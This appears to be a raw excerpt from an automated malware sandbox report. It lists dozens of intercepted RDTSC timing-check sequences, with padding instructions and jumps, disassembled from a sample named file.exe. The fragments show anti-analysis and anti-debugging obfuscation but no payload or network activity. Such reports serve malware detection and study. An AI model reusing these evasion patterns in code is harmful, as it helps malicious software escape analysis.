Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E1EE second address: 69E200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F6970DB3BD6h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E374 second address: 69E37E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6970D85C16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E37E second address: 69E382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0416 second address: 5F0426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970D85C1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A980A second address: 6A9819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9819 second address: 6A9829 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F6970D85C1Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9B4A second address: 6A9B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9B4E second address: 6A9B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F6970D85C28h 0x0000000c jmp 00007F6970D85C22h 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6970D85C25h 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9B86 second address: 6A9B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9CF1 second address: 6A9CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9CF5 second address: 6A9D04 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6970DB3BD8h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9D04 second address: 6A9D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6970D85C16h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9D17 second address: 6A9D1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9D1B second address: 6A9D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9D21 second address: 6A9D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jng 00007F6970DB3BD6h 0x0000000f jo 00007F6970DB3BD6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9D37 second address: 6A9D41 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6970D85C1Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9E8B second address: 6A9E97 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9E97 second address: 6A9E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9E9B second address: 6A9EAB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push edi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9EAB second address: 6A9EBF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6970D85C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9EBF second address: 6A9EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9EC3 second address: 6A9EC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA328 second address: 6AA338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jnc 00007F6970DB3BD6h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA4BA second address: 6AA4C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007F6970D85C16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB4A9 second address: 6AB4B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F6970DB3BE2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A91E3 second address: 6A91E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1B4D second address: 6B1B94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F6970DB3BF4h 0x0000000c jns 00007F6970DB3BE2h 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 je 00007F6970DB3BD6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1B94 second address: 6B1BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1BA2 second address: 6B1BAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3449 second address: 6B345B instructions: 0x00000000 rdtsc 0x00000002 je 00007F6970D85C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F6970D85C16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B345B second address: 6B345F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0941 second address: 6C095B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F6970D85C20h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0AC9 second address: 6C0ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2BD2 second address: 6C2BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2BD6 second address: 6C2BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2BDA second address: 6C2BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F6970D85C1Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCA15 second address: 6CCA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCA1B second address: 6CCA23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCA23 second address: 6CCA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCA29 second address: 6CCA2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CCA2E second address: 6CCA57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6970DB3BE0h 0x00000008 jmp 00007F6970DB3BE2h 0x0000000d pop edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBCE7 second address: 6DBCEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA7C5 second address: 6DA7E6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6970DB3BD6h 0x00000008 jmp 00007F6970DB3BE3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA7E6 second address: 6DA7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DABD9 second address: 6DABDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAD37 second address: 6DAD41 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6970D85C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAD41 second address: 6DAD53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BDCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAD53 second address: 6DAD59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF64E second address: 6DF680 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE3h 0x00000007 jmp 00007F6970DB3BE5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF680 second address: 6DF68A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF68A second address: 6DF68E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF37C second address: 6DF388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6970D85C16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC0EC second address: 6FC10A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F6970DB3BD8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jc 00007F6970DB3BD6h 0x00000015 jns 00007F6970DB3BD6h 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC10A second address: 6FC110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC110 second address: 6FC114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBC6C second address: 6FBC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 ja 00007F6970D85C18h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBC7F second address: 6FBC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBC83 second address: 6FBC87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBE06 second address: 6FBE0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBE0A second address: 6FBE29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F6970D85C25h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711814 second address: 71181A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711DBA second address: 711DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6970D85C1Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F6970D85C16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711DD4 second address: 711DDE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6970DB3BD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7120A4 second address: 7120A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7120A8 second address: 7120C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jns 00007F6970DB3BD6h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007F6970DB3BD6h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7121FC second address: 712202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714F77 second address: 714F81 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6970DB3BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714F81 second address: 714F88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715482 second address: 715513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F6970DB3BE7h 0x00000011 jmp 00007F6970DB3BE7h 0x00000016 popad 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F6970DB3BD8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 mov dl, 10h 0x00000034 push dword ptr [ebp+122D2F38h] 0x0000003a pushad 0x0000003b mov esi, eax 0x0000003d jno 00007F6970DB3BD9h 0x00000043 popad 0x00000044 call 00007F6970DB3BD9h 0x00000049 pushad 0x0000004a jo 00007F6970DB3BD8h 0x00000050 pushad 0x00000051 popad 0x00000052 push esi 0x00000053 pushad 0x00000054 popad 0x00000055 pop esi 0x00000056 popad 0x00000057 push eax 0x00000058 push ecx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715513 second address: 715517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715517 second address: 715540 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F6970DB3BE8h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715540 second address: 715560 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6970D85C1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F6970D85C1Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715560 second address: 715566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0237 second address: 4BF02C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 66B905DAh 0x00000008 movsx edi, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F6970D85C29h 0x00000016 mov dx, si 0x00000019 popad 0x0000001a pushfd 0x0000001b jmp 00007F6970D85C1Ch 0x00000020 sbb ch, 00000078h 0x00000023 jmp 00007F6970D85C1Bh 0x00000028 popfd 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F6970D85C24h 0x00000032 and al, FFFFFFD8h 0x00000035 jmp 00007F6970D85C1Bh 0x0000003a popfd 0x0000003b movzx ecx, dx 0x0000003e popad 0x0000003f mov ebp, esp 0x00000041 jmp 00007F6970D85C1Bh 0x00000046 pop ebp 0x00000047 pushad 0x00000048 mov eax, 51B9339Bh 0x0000004d push eax 0x0000004e push edx 0x0000004f movzx esi, di 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF02C5 second address: 4BF02C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637000 second address: 637021 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F6970D85C20h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F6970D85C18h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF03C4 second address: 4BF03D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970DB3BE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF03D9 second address: 4BF03DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0431 second address: 4BF04A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6970DB3BE7h 0x00000008 mov dx, cx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 200FFE44h 0x00000015 jmp 00007F6970DB3BE2h 0x0000001a call 00007F69E337775Eh 0x0000001f push 771B27D0h 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov eax, dword ptr [esp+10h] 0x0000002f mov dword ptr [esp+10h], ebp 0x00000033 lea ebp, dword ptr [esp+10h] 0x00000037 sub esp, eax 0x00000039 push ebx 0x0000003a push esi 0x0000003b push edi 0x0000003c mov eax, dword ptr [77240140h] 0x00000041 xor dword ptr [ebp-04h], eax 0x00000044 xor eax, ebp 0x00000046 push eax 0x00000047 mov dword ptr [ebp-18h], esp 0x0000004a push dword ptr [ebp-08h] 0x0000004d mov eax, dword ptr [ebp-04h] 0x00000050 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000057 mov dword ptr [ebp-08h], eax 0x0000005a lea eax, dword ptr [ebp-10h] 0x0000005d mov dword ptr fs:[00000000h], eax 0x00000063 ret 0x00000064 pushad 0x00000065 mov edx, esi 0x00000067 pushfd 0x00000068 jmp 00007F6970DB3BDAh 0x0000006d jmp 00007F6970DB3BE5h 0x00000072 popfd 0x00000073 popad 0x00000074 and dword ptr [ebp-04h], 00000000h 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F6970DB3BDDh 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF04A7 second address: 4BF04AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF04AD second address: 4BF04B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF04B1 second address: 4BF04E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F6970D85C1Fh 0x00000010 mov esi, edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6970D85C25h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF04E4 second address: 4BF04EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF04EA second address: 4BF04EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF04EE second address: 4BF051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edx] 0x0000000a pushad 0x0000000b mov esi, edx 0x0000000d mov ebx, 756AF084h 0x00000012 popad 0x00000013 inc edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F6970DB3BE6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF051A second address: 4BF051A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F6970D85C26h 0x00000010 jne 00007F6970D85BC5h 0x00000016 mov al, byte ptr [edx] 0x00000018 pushad 0x00000019 mov esi, edx 0x0000001b mov ebx, 756AF084h 0x00000020 popad 0x00000021 inc edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F6970D85C26h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF058A second address: 4BF0599 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
